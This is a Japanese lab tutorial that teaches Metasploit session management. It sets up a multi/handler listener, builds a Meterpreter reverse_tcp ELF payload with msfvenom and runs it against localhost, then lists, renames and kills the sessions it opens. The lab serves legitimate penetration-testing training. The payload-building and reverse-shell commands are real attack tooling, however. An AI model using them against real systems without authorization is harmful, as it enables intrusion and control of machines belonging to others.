はじめに
ペネトレーションテストでは、複数のシステムに同時にアクセスすることが一般的です。「セッション」として知られるこれらの接続を管理するために、Metasploit Framework は強力な方法を提供します。セッションとは、侵害されたターゲットへのアクティブなリンクであり、コマンドラインシェルや高度な Meterpreter セッションである可能性があります。
これらのセッションを効果的に管理することは、重要なスキルです。これにより、ワークフローを整理し、ターゲット間をシームレスに切り替え、侵害されたアセットの制御を維持することができます。この実験(Lab)では、Metasploit で複数のセッションを管理するための基本的なコマンドを学びます。セッションの取得、一覧表示、特定のセッションとの対話、整理のために名前の変更、そして最後にクリーンな終了を練習します。
複数の Meterpreter またはシェルセッションを取得する
このステップでは、Metasploit でリスナーを設定し、ペイロードを実行して 2 つの個別の Meterpreter セッションを作成します。これは、2 つの異なるシステムへのアクセスを取得することをシミュレートします。
まず、ターミナルを開き、Metasploit Framework コンソールを起動します。-q フラグは、バナーを表示せずに静かに起動します。
msfconsole -q
次に、multi/handler という汎用リスナーを設定して、着信接続を待ち受けます。
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
ここで、-j フラグを使用してリスナーをバックグラウンドジョブとして実行します。これにより、リスナーがバックグラウンドで実行されている間も、msfconsole プロンプトで他のコマンドを実行できるようになります。
run -j
ハンドラが開始されたことを示す確認メッセージが表示されるはずです。
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
次に、このリスナーに接続バックするペイロードを生成して実行する必要があります。ターミナルウィンドウの + アイコンをクリックして、新しい 2 番目のターミナルタブを開いてください。
この新しいターミナルで、msfvenom を使用してペイロードを作成します。このコマンドは、実行されるとリスナーに接続バックする ELF 実行可能ファイルを生成します。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
生成されたペイロードファイルに実行権限を付与します。
chmod +x ~/project/payload.elf
これで、ペイロードを 2 回実行して 2 つのセッションを作成します。コマンドをすぐに再度実行できるように、バックグラウンドプロセス (&) として実行します。
./payload.elf &
./payload.elf &
msfconsole がある最初のターミナルウィンドウに戻ります。2 つの Meterpreter セッションが開かれたことを示すメッセージが表示されます。
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38998) at 2023-10-27 10:30:00 -0400
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:39000) at 2023-10-27 10:30:05 -0400
これで、2 つのアクティブなセッションを正常に確立しました。
sessions コマンドでアクティブなセッションをすべて一覧表示する
このステップでは、確立したすべてのセッションを表示する方法を学びます。複数のセッションが開いている場合、何に接続しているかを確認するために一覧表示する方法が必要です。
この目的には sessions コマンドが使用されます。msfconsole ターミナルで、単に sessions と入力すると、すべてのアクティブなセッションのリストが表示されます。-l フラグは list のエイリアスであり、同じことを行います。
sessions
出力は、各セッションに関する情報を含むテーブルになります。
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:38998 (...)
2 meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:39000 (...)
このテーブルは明確な概要を提供します。
- Id: 各セッションの一意の番号で、対話に使用されます。
- Name: セッションのカスタム名(現在は空)。
- Type: セッションの種類(例:
meterpreter、shell)。 - Information: 侵害されたシステムに関する詳細(ユーザー ID など)。
- Connection: ソースと宛先の IP アドレスおよびポート。
sessions -i で特定のセッションと対話する
このステップでは、リストから特定のセッションを選択して対話する方法を学びます。
作業したいセッションを特定したら、sessions コマンドに -i (interact) フラグとセッション ID を続けて使用できます。
最初のセッション(ID 1)と対話してみましょう。
sessions -i 1
コマンドプロンプトが msf6 > から meterpreter > に変わり、Meterpreter セッション内に入り、Meterpreter 固有のコマンドを実行できることを示します。
[*] Starting interaction with 1...
meterpreter >
セッション内にいることを確認するには、sysinfo のような簡単なコマンドを実行して、ターゲットからのシステム情報を取得します。
sysinfo
以下のような出力が表示されます。
Computer : labex-virtual-machine
OS : Ubuntu 22.04 (Linux 5.15.0-78-generic)
Architecture : x64
System Language: en_US
Meterpreter : x64/linux
セッション内での作業が終了したら、セッションを終了せずにメインの msfconsole プロンプトに戻ることができます。これを行うには、background コマンドを使用します。
background
これにより、セッションがバックグラウンドに置かれ、msf6 > プロンプトに戻り、他のセッションを管理できるようになります。
[*] Backgrounding session 1...
msf6 exploit(multi/handler) >
sessions -n でセッションをリネームして整理しやすくする
このステップでは、セッションの名前を変更する方法を学びます。多くのセッションを管理している場合、デフォルトの名前はわかりにくいです。セッションに意味のあるラベル(例:「WebServer」、「DBServer」)を付けて名前を変更すると、識別がはるかに容易になります。
sessions コマンドに -n (name) フラグを使用してセッションの名前を変更できます。構文は sessions -n <新しい名前> <ID> です。
セッション 2 を TestHost のような、よりわかりやすい名前に変更してみましょう。
sessions -n TestHost 2
Metasploit は、セッションがリネームされたことを確認します。
[*] Session 2's name has been changed to TestHost.
これで、変更を確認するためにセッションを再度一覧表示します。
sessions
出力テーブルのセッション 2 の「Name」列に新しい名前が表示されるようになります。
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:38998 (...)
2 TestHost meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:39000 (...)
これにより、ターゲットを追跡するのがはるかに容易になります。
sessions -k でセッションを終了する
このステップでは、セッションを終了する方法を学びます。ターゲットシステムでの作業が終了した場合や、セッションが不要になった場合は、閉じるのが良い習慣です。
セッションを終了(キル)するには、sessions コマンドに -k (kill) フラグとセッション ID を続けて使用します。
セッション 1 を終了してみましょう。
sessions -k 1
Metasploit はセッションを停止していることを確認します。
[*] Stopping session 1...
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: User exit
セッションが終了したことを確認するために、アクティブなセッションをもう一度一覧表示します。
sessions
出力には、残りのセッション TestHost のみが表示されるようになります。
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 TestHost meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:39000 (...)
これで、不要なセッションを正常にクリーンアップできました。
まとめ
この実験を完了された皆さん、おめでとうございます!Metasploit Framework 内で複数のセッションを管理するための基本的なスキルを習得しました。
この実験では、以下のことを実践しました。
multi/handlerとペイロードを使用して複数の Meterpreter セッションを作成する。sessionsコマンドでアクティブなすべてのセッションを一覧表示する。sessions -i <ID>を使用して特定のセッションと対話する。sessions -n <Name> <ID>を使用してセッションをリネームし、整理しやすくする。sessions -k <ID>を使用してセッションをきれいに終了する。
これらのコマンドを習得することは、あらゆるペネトレーションテスターにとって不可欠です。これにより、複数の侵害されたシステムを効率的かつ整理された方法で制御できるようになります。


